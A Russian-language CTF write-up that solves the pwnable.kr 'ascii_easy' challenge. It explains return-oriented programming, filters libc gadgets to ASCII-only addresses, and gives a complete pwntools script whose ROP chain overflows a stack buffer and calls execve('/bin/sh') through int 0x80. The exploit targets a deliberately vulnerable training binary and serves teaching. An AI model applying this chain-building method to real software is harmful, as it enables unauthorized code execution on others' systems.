Решение задания с pwnable.kr 26 — ascii_easy. Разбираемся с ROP-гаджетами с нуля раз и навсегда +12


image

В данной статье решим 26-е задание с сайта pwnable.kr и разберемся с тем, что же такое ROP, как это работает, почему это так опасно и составим ROP-цепочеку с дополнительными усложняющими файторами.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Решение задания ascii_easy


Продолжаем второй раздел. Скажу сразу, что сложнее первого, но в этот раз нам предоставляют исходный код программы. Не забываем про обсуждение здесь(https://t.me/RalfHackerPublicChat) и здесь (https://t.me/RalfHackerChannel). Начнем.

Нажимаем на иконку с подписью ascii_easy. Нам дают адрес и порт для подключения по ssh.

image

Подключаемся по SSH и видим флаг, программу, исходный код и libc библиотеку.

image

Давайте посмотри исходный код.

#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
vuln(argv[1]);

}

Разберем его по блокам. Программа принимает строку в качестве аргумента.

image

При этом строка должна состоять только из ascii символов.

image

Так же выделяется область памяти с известным адресом базы и правами на чтение, запись и исполнениею. В эту область помещается библиотека libc.

image

В добавок ко всему, в программе есть уязвимая функция.

image

При этом если проверить программу, то можно убедиться, что она имеет неисполняемый стек (параметр NX). Будем решать с помощью составления ROP.

image

Давайте скопируем библиотеку себе.

scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/

Теперь нужно собрать ROP-цепочку. Для этого воспользуемся инструментом ROP-gadget.

ROPgadget --binary libc-2.15.so > gadgets.txt

В файле gadgets.txt у нас находятся все возможные ROP-цепочки (пример 10 первых представлен ниже).

image

Проблема в том, что нам нужно выбрать те, которые состоят только из ascii символов. Для этого напишем простой фильтр, который оставит лишь те адреса, каждый байт которых принадлежит промежутку от 0x20 до 0x7f включительно.

def addr_check(addr):
	ret = True
	for i in range(0,8,2):
		if int(addr[i:i+2], 16) not in range(0x20, 0x80):
			ret = False
	return ret

f = open('gadgets.txt', 'rt')
old_gadgets = f.read().split('\n')[2:-3]
f.close()

new_gadgets = ""
base_addr = 0x5555e000

for gadget in old_gadgets:
	addr = base_addr + int(gadget.split(' : ')[0], 16)
	if addr_check(hex(addr)[2:]):
		new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n')

f = open('new_gadgets.txt', 'wt')
f.write(new_gadgets)
f.close()

Запустим программу и получим список удовлетворяющих нас адресов ROP-гаджетов.

ROP-гаджеты


Многие просили подробнее описать про возвратно-ориетированное программирование. Хорошо, давайте приведем пример с иллюстрациями. Допустим мы имеем уязвимость переполнение буфера и неисполняемый стек.

ROP-гаджет представляет из себя набор инструкций, который заканчивается инструкцией возврата ret. Как правило, гаджеты выбирают из окончаний функций. В качестве примера возьмем несколько функций. В каждой из них выбираем ROP-гаджет (выделено красным цветом).

image

image

image

Таким образом мы имеем несколько ROP-цепочек:

0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret
0x000ed7cd: pop ebx; pop esi; ret
0x000ed7ce: pop esi; ret
0x00033837: pop ebx; ret
0x0010ec1f: add esp, 0x2c; ret

Теперь разберем, что же за зверь такой — ROP-цепочки. При переполнении буфера мы можем переписать адрес возврата. Допустим в данный момент в целевой функции должна выполниться инструкция ret, то есть на вершине стека расположен какой-то валидный адрес.

К примеру, мы хотим выполнить следующий код:

add esp, 0x2c
add esp, 0x2c
add esp, 0x2c
mov eax, edx 
pop ebx
pop esi
ret

Мы должны перезаписать валидный адрес возврата следующими адресами:

0x0010ec1f
0x0010ec1f
0x0010ec1f
0x000ed7cb

Чтобы понять, почему это сработает, давайте посмотрим на изображение ниже.

image

Таким образом, вместо возврата на валидный адрес, мы перемещаемся на первый адрес нашей ROP-цепочки. После выполнения первой команды, инструкция ret переместит выполнение программы на следующий адрес в стеке, то есть на вторую команду. Вторая команда также заканчивается ret’ом, который также переместит на следующую команду, адрес которой указан в стеке. Таким образом мы добиваемся выполнение ранее составленного нами кода.

Составление ROP-цепочки для ascii_easy


Первым делом — выясним сколько байт нам нужно для переполнения буфера. Запустим программу в gdb и подадим строку на вход.

image

И программа вылетает по адресу “bbbb”, что означает, что паддинг составляет 32 символа.

Для эксплуатации ROP удобнее всего использовать функцию execve. Удобство заключается в передаче параметров через регистры. Давайте найдем эту функцию в библиотеке libc. Это можно сделать с помощью GDB.

image

Но если прибавить к адресу функции адрес загрузки библиотеки в память, то мы увидим, что он не будет удовлетворять условию ascii.

image

Но есть другой вариант вызвать функцию. Это через системный вызов. В ОС Linux каждый системный вызов имеет свой номер. Этот номер должен быть расположен в регистре EAX, после чего следует вызов прерывания int 0x80. Полную таблицу сисколов (syscall) можно посмотреть здесь.

image

Таким образов функция execve имеет номер 11, то есть в регистре EAX должно быть расположено значение 0xb. Передача параметров происходит через регистры EBX — адрес на начало строки-парметра, ECX — адрес на указатель на строку-параметр и EDX — адрес на указатель на аргумен переменные окружения.

image

В функцию нам нужно передать строку ‘/bin/sh’. Для этого нам нужно будет ее записать в разрешенное для записи место и передать адрес строки в качестве параметра. Строку придется сохранять по 4 символа, т.е. ‘/bin’ и ‘//sh’, так как регистры передают по 4 байта. Для этого я нашел следующие гаджеты:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret

Данный гаджет:

  1. Возьмет из стека адрес для записи строки, и поместит его в регистр edx, обнулит eax.
  2. Возьмет из стека значение и поместит в edi.
  3. Скопирует значение из edi по адресу в edx (запишет нашу строку по нужному адресу).
  4. Возьмет из стека еще два значения.

Таким образом, для его работы необходимо передать следующие значения:

0x555f3555 				; адрес первого гаджета
memory_addr				; адрес для записи строки (edx)
4_байта_строки			; 4 байта копируемой строки (edi)
0x55687b3c 				; адрес второго гаджета
4_любых_байта			; чтобы забить регристр (esi)
4_любых_байта			; чтобы забить регристр (edi)

После чего можно выполнить эти же гаджеты, для копирования второй части строки. Найти адрес для записи не составит труда, так как библиотека загружается в область памяти, доступную для чтения, записи и исполнения.

image

Там можно взять любой адресов, удовлетворяющих условию ascii. Я взял адрес 0x55562023.

Теперь необходимо закончить нашу строку нулевым символом. Для этой задачи я использую следующую цепочку гаджетов:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x5560645c : mov dword ptr [edx], eax ; ret

Данный гаджет:

  1. Возьмет из стека адрес для записи null, и поместит его в регистр edx, обнулит eax.
  2. Возьмет из стека значение.
  3. Скопирует значение из обнуленного eax по адресу в edx.

Таким образом, для его работы необходимо передать следующие значения:

0x555f3555 				; адрес первого гаджета
memory_addr+8			; адрес для записи 0 - конец строки (edx)
4_любых_байта			; чтобы заполнить регистр edi
0x5560645c 				; адрес второго гаджета

Таким образом мы скопировали нашу строку в память. Дальше нужно заполнить регистры, для передачи значений. Так как вызываемая в execve программа “/bin/sh” не будет иметь собственных аргументов и переменных окружения, мы передадим в них указатель на null. В ebx запишем адрес на строку и в eax запишем 11 — номер сискола execve. Для этого я нашел следующие гаджеты:

0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret
0x556d2a51 : pop ecx ; add al, 0xa ; ret
0x5557734e : pop ebx ; ret
0x556c6864 : inc eax ; ret

Данный гаджет:

  1. Поместит из стека значение в edx, обнулит eax.
  2. Переместит значение из стека в edi.
  3. Переместит значение из стека в ecx, прибавит к обнуленному eax 10.
  4. Переместит значение из стека в ebx.
  5. Увеличит eax с 10 до 11.

Таким образом, для его работы необходимо передать следующие значения:

0x555f3555				; адрес первого гаджета
memory_addr+8			; адрес null (edx)
4_любых_байта			; чтобы заполнить регистр edi
0x556d2a51				; адрес второго гаджета
memory_addr+8			; адрес null (ecx)
0x5557734e				; адрес третьего гаджета
memory_addr				; адрес строки-параметра(ebx)
0x556c6864				; адрес четвертого гаджета

И завершаем наш ROP-chain вызовом исключения.

0x55667176 : inc esi ; int 0x80

Ниже приведу более сокращенную и общую запись рассказанного выше.

image

И код, формирующий пэйлоад.

from pwn import *

payload = "a"*32

pop_edx = 0x555f3555
memory_addr = 0x55562023
mov_edx_edi = 0x55687b3c
mov_edx_eax = 0x5560645c
pop_ecx = 0x556d2a51
pop_ebx = 0x5557734e
inc_eax = 0x556c6864
int_80 = 0x55667176

payload += p32(pop_edx)
payload += p32(memory_addr)
payload += '/bin'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 4)
payload += '//sh'
payload += p32(mov_edx_edi)
payload += 'aaaaaaaa'
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(memory_addr + 8)
payload += 'aaaa'
payload += p32(pop_ecx)
payload += p32(memory_addr + 8)
payload += p32(pop_ebx)
payload += p32(memory_addr)
payload += p32(inc_eax)
payload += p32(int_80)

print(payload)

image

image

Скажу честно, для меня, почему-то, это было одно из самых сложных заданий с этой площадки…

Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.




К сожалению, не доступен сервер mySQL